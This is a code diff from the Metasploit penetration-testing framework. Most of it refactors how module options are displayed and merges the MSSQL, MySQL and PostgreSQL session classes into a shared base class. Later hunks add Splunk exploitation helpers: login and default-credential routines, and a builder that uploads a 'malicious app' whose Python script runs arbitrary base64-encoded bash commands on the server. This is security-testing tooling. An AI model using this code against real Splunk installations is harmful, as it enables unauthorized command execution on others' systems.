|
||||
|
||||
tbl << [name, opt.display_value(val), opt.required? ? "yes" : "no", desc]
|
||||
end
|
||||
tbl
|
||||
end
|
||||
|
||||
# Dumps the advanced options associated with the supplied module.
|
||||
#
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_advanced_options(mod, indent = '')
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
next unless opt.advanced?
|
||||
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}Active when #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
end
|
||||
end
|
||||
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
result
|
||||
return dump_options(mod, indent, advanced: true)
|
||||
end
|
||||
|
||||
# Dumps the evasion options associated with the supplied module.
|
||||
@@ -686,46 +666,7 @@ class ReadableText
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_evasion_options(mod, indent = '')
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
next unless opt.evasion?
|
||||
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
end
|
||||
end
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
result
|
||||
return dump_options(mod, indent, evasion: true)
|
||||
end
|
||||
|
||||
# Dumps the references associated with the supplied module.
|
||||
|
||||
@@ -15,12 +15,6 @@ module CommandShellOptions
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('InitialAutoRunScript', "An initial script to run on session creation (before AutoRunScript)"),
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# https://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
module CreateSessionOptions
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -2,21 +2,17 @@
|
||||
|
||||
require 'rex/post/mssql'
|
||||
|
||||
class Msf::Sessions::MSSQL
|
||||
class Msf::Sessions::MSSQL < Msf::Sessions::Sql
|
||||
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::MSSQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [MSSQL::Client] The MSSQL client
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
# @return [String] The address MSSQL is running on
|
||||
attr_accessor :address
|
||||
# @return [Integer] The port MSSQL is running on
|
||||
attr_accessor :port
|
||||
attr_reader :framework
|
||||
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts)
|
||||
self.console = ::Rex::Post::MSSQL::Ui::Console.new(self, opts)
|
||||
|
||||
super(rstream, opts)
|
||||
end
|
||||
@@ -28,32 +24,10 @@ class Msf::Sessions::MSSQL
|
||||
@info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
self.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
'MSSQL'
|
||||
'mssql'
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
@@ -80,64 +54,4 @@ class Msf::Sessions::MSSQL
|
||||
@address, @port = client.sock.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
def init_ui(input, output)
|
||||
self.user_input = input
|
||||
self.user_output = output
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) do
|
||||
_interact_stream
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the MSSQL client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise EOFError if (console.stopped? == true)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -2,17 +2,7 @@
|
||||
|
||||
require 'rex/post/mysql'
|
||||
|
||||
class Msf::Sessions::MySQL
|
||||
|
||||
# This interface supports basic interaction.
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::MySQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [MySQL::Client]
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
class Msf::Sessions::MySQL < Msf::Sessions::Sql
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
@@ -32,24 +22,9 @@ class Msf::Sessions::MySQL
|
||||
@info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}"
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# @return [String] The type of the session
|
||||
def self.type
|
||||
'MySQL'
|
||||
'mysql'
|
||||
end
|
||||
|
||||
# @return [Boolean] Can the session clean up after itself
|
||||
@@ -77,60 +52,4 @@ class Msf::Sessions::MySQL
|
||||
@address, @port = @client.socket.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
# @param [Object] input
|
||||
# @param [Object] output
|
||||
# @return [String]
|
||||
def init_ui(input, output)
|
||||
super(input, output)
|
||||
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
end
|
||||
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
# @return [Object]
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
|
||||
# Exit the console
|
||||
#
|
||||
# @return [TrueClass]
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
#
|
||||
# @return [Object]
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the mysql client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise ::EOFError if (console.stopped? == true)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -2,18 +2,7 @@
|
||||
|
||||
require 'rex/post/postgresql'
|
||||
|
||||
class Msf::Sessions::PostgreSQL
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::PostgreSQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [PostgreSQL::Client]
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
@@ -31,33 +20,11 @@ class Msf::Sessions::PostgreSQL
|
||||
@info = "PostgreSQL #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
self.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
#
|
||||
# @return [String] The type of the session
|
||||
#
|
||||
def self.type
|
||||
'PostgreSQL'
|
||||
'postgresql'
|
||||
end
|
||||
|
||||
#
|
||||
@@ -86,62 +53,4 @@ class Msf::Sessions::PostgreSQL
|
||||
@address, @port = @client.conn.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
def init_ui(input, output)
|
||||
super(input, output)
|
||||
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(self.log_source)
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
|
||||
# Call the console interaction of the PostgreSQL client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise ::EOFError if (console.stopped? == true)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -45,8 +45,8 @@ class Msf::Sessions::SMB
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
session.execute_script(args.shift, *args)
|
||||
print_status("Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -57,7 +57,7 @@ class Msf::Sessions::SMB
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
'SMB'
|
||||
'smb'
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
class Msf::Sessions::Sql
|
||||
|
||||
# This interface supports basic interaction.
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return console The interactive console
|
||||
attr_accessor :console
|
||||
# @return client The underlying client object used to make SQL queries
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = ::Shellwords.shellwords(datastore[key])
|
||||
print_status("Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [String] cmd The command to execute in the context of a session using the '-c' flag.
|
||||
# @param [IO] output_object The IO where output should be written to
|
||||
# For example, 'query select version()' for a PostgreSQL session.
|
||||
def run_cmd(cmd, output_object=nil)
|
||||
# This implementation is taken from Meterpreter.
|
||||
stored_output_state = nil
|
||||
# If the user supplied an Output IO object, then we tell
|
||||
# the console to use that, while saving it's previous output/
|
||||
if output_object
|
||||
stored_output_state = console.output
|
||||
console.send(:output=, output_object)
|
||||
end
|
||||
success = console.run_single(cmd)
|
||||
# If we stored the previous output object of the channel
|
||||
# we restore it here to put everything back the way we found it
|
||||
# We re-use the conditional above, because we expect in many cases for
|
||||
# the stored state to actually be nil here.
|
||||
if output_object
|
||||
console.send(:output=, stored_output_state)
|
||||
end
|
||||
success
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
# @return [String] The type of the session
|
||||
def self.type
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# @return [Boolean] Can the session clean up after itself
|
||||
def self.can_cleanup_files
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# @return [String] The session description
|
||||
def desc
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# @return [Object] The peer address
|
||||
def address
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# @return [Object] The peer host
|
||||
def port
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# Initializes the console's I/O handles.
|
||||
#
|
||||
# @param [Object] input
|
||||
# @param [Object] output
|
||||
# @return [String]
|
||||
def init_ui(input, output)
|
||||
super(input, output)
|
||||
|
||||
console.init_ui(input, output)
|
||||
console.set_log_source(log_source)
|
||||
end
|
||||
|
||||
# Resets the console's I/O handles.
|
||||
#
|
||||
# @return [Object]
|
||||
def reset_ui
|
||||
console.unset_log_source
|
||||
console.reset_ui
|
||||
end
|
||||
|
||||
# Exit the console
|
||||
#
|
||||
# @return [TrueClass]
|
||||
def exit
|
||||
console.stop
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
#
|
||||
# @return [Object]
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def _interact_stream
|
||||
framework.events.on_session_interact(self)
|
||||
|
||||
console.framework = framework
|
||||
# Call the console interaction of the mysql client and
|
||||
# pass it a block that returns whether or not we should still be
|
||||
# interacting. This will allow the shell to abort if interaction is
|
||||
# canceled.
|
||||
console.interact { interacting != true }
|
||||
console.framework = nil
|
||||
|
||||
# If the stop flag has been set, then that means the user exited. Raise
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise ::EOFError if (console.stopped? == true)
|
||||
end
|
||||
end
|
||||
@@ -173,10 +173,7 @@ module Exploit::FileDropper
|
||||
stat.file? || stat.directory?
|
||||
else
|
||||
if session.platform == 'windows'
|
||||
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )")
|
||||
if f =~ /true/
|
||||
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\\\\\" ( echo false ) ELSE ( echo true )")
|
||||
end
|
||||
f = session.shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )")
|
||||
else
|
||||
f = session.shell_command_token("test -f \"#{normalized}\" -o -d \"#{normalized}\" && echo true")
|
||||
end
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with splunk installations
|
||||
module Splunk
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Apps
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Base
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Login
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Splunk
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,50 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with Splunk apps
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Apps
|
||||
# Uploads malicious app to splunk using admin cookie
|
||||
#
|
||||
# @param app_name [String] Name of the app to upload
|
||||
# @param cookie [String] Valid admin's cookie
|
||||
# @return [Boolean] true on success, false on error
|
||||
def splunk_upload_app(app_name, cookie)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_upload_url,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res&.code == 200
|
||||
vprint_error('Unable to get form state')
|
||||
return false
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
# fill the hidden fields from the form: state and splunk_form_key
|
||||
html.at('[id="installform"]').elements.each do |form|
|
||||
next unless form.attributes['value']
|
||||
|
||||
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
|
||||
end
|
||||
data.add_part('1', nil, nil, 'form-data; name="force"')
|
||||
data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_upload_url,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
|
||||
vprint_error('Error uploading App')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,20 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Splunk base module
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Base
|
||||
# Checks if the site is online and running splunk
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise
|
||||
def splunk_and_online?
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login
|
||||
})
|
||||
|
||||
return res if res&.body =~ /Splunk/
|
||||
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
vprint_error("Error connecting to #{splunk_url_login}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,94 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Module with helper methods for other Splunk module methods
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
|
||||
# Helper method to get tokens for login
|
||||
#
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String, nil] Post data to use for login
|
||||
def splunk_helper_extract_token(timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
|
||||
unless res&.code == 200
|
||||
vprint_error('Unable to get login tokens')
|
||||
return nil
|
||||
end
|
||||
"session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
|
||||
end
|
||||
|
||||
# Helper method to construct malicious app in .tar.gz form
|
||||
#
|
||||
# @param app_name [String] Name of app to upload
|
||||
# @return [Rex::Text] Malicious app in .tar.gz form
|
||||
def splunk_helper_malicious_app(app_name)
|
||||
# metadata folder
|
||||
metadata = <<~EOF
|
||||
[commands]
|
||||
export = system
|
||||
EOF
|
||||
|
||||
# default folder
|
||||
commands_conf = <<~EOF
|
||||
[#{app_name}]
|
||||
type = python
|
||||
filename = #{app_name}.py
|
||||
local = false
|
||||
enableheader = false
|
||||
streaming = false
|
||||
perf_warn_limit = 0
|
||||
EOF
|
||||
|
||||
app_conf = <<~EOF
|
||||
[launcher]
|
||||
author=#{Faker::Name.name}
|
||||
description=#{Faker::Lorem.sentence}
|
||||
version=#{Faker::App.version}
|
||||
|
||||
[ui]
|
||||
is_visible = false
|
||||
EOF
|
||||
|
||||
# bin folder
|
||||
msf_exec_py = <<~EOF
|
||||
import sys, base64, subprocess
|
||||
import splunk.Intersplunk
|
||||
|
||||
header = ['result']
|
||||
results = []
|
||||
|
||||
try:
|
||||
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
output = proc.stdout.read()
|
||||
results.append({'result': base64.b64encode(output).decode('utf-8')})
|
||||
except Exception as e:
|
||||
error_msg = 'Error : ' + str(e)
|
||||
results = splunk.Intersplunk.generateErrorResults(error_msg)
|
||||
|
||||
splunk.Intersplunk.outputResults(results, fields=header)
|
||||
EOF
|
||||
|
||||
tarfile = StringIO.new
|
||||
Rex::Tar::Writer.new tarfile do |tar|
|
||||
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
|
||||
io.write metadata
|
||||
end
|
||||
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
|
||||
io.write commands_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
|
||||
io.write app_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
|
||||
io.write msf_exec_py
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
tarfile.close
|
||||
|
||||
Rex::Text.gzip(tarfile.string)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,78 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Module with Splunk login related methods
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Login
|
||||
# performs a splunk login
|
||||
#
|
||||
# @param username [String] Username
|
||||
# @param password [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def splunk_login(username, password, timeout = 20)
|
||||
# gets cval cookies
|
||||
cookie = splunk_helper_extract_token(timeout)
|
||||
if cookie.nil?
|
||||
vprint_error('Unable to extract login tokens')
|
||||
return nil
|
||||
end
|
||||
|
||||
cval_value = cookie.match(/cval=([^;]*)/)[1]
|
||||
# login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'cval' => cval_value
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
unless res
|
||||
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
|
||||
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}")
|
||||
return nil
|
||||
end
|
||||
|
||||
print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'")
|
||||
return cookie << " #{res.get_cookies}"
|
||||
end
|
||||
|
||||
# The free version of Splunk does not require authentication. Instead, it'll log the
|
||||
# user right in as 'admin'. If that's the case, no point to brute-force, either.
|
||||
#
|
||||
# @return [Boolean] true if auth is required, false otherwise
|
||||
def splunk_is_auth_required?
|
||||
cookie = splunk_helper_extract_token
|
||||
res = send_request_raw({
|
||||
'uri' => splunk_home,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
!(res && res.body =~ /Logged in as (.+)/)
|
||||
end
|
||||
|
||||
# Return the default credentials if found
|
||||
#
|
||||
# @return [Array, nil] username, password if found, nil otherwise
|
||||
def splunk_default_creds
|
||||
p = %r{Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>}
|
||||
res = send_request_raw({ 'uri' => target_uri.path })
|
||||
user, pass = res.body.scan(p).flatten
|
||||
return [user, pass] if user && pass
|
||||
end
|
||||
|
||||
# Extract and test the default credentials, if found
|
||||
#
|
||||
# @return [String, nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def splunk_login_with_default_creds
|
||||
user, pass = splunk_default_creds
|
||||
splunk_login(user, pass) if user && pass
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,34 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Module with methods for commonly used splunk URLs
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::URIs
|
||||
# Returns the Splunk Login URL
|
||||
#
|
||||
# @return [String] Splunk Login URL
|
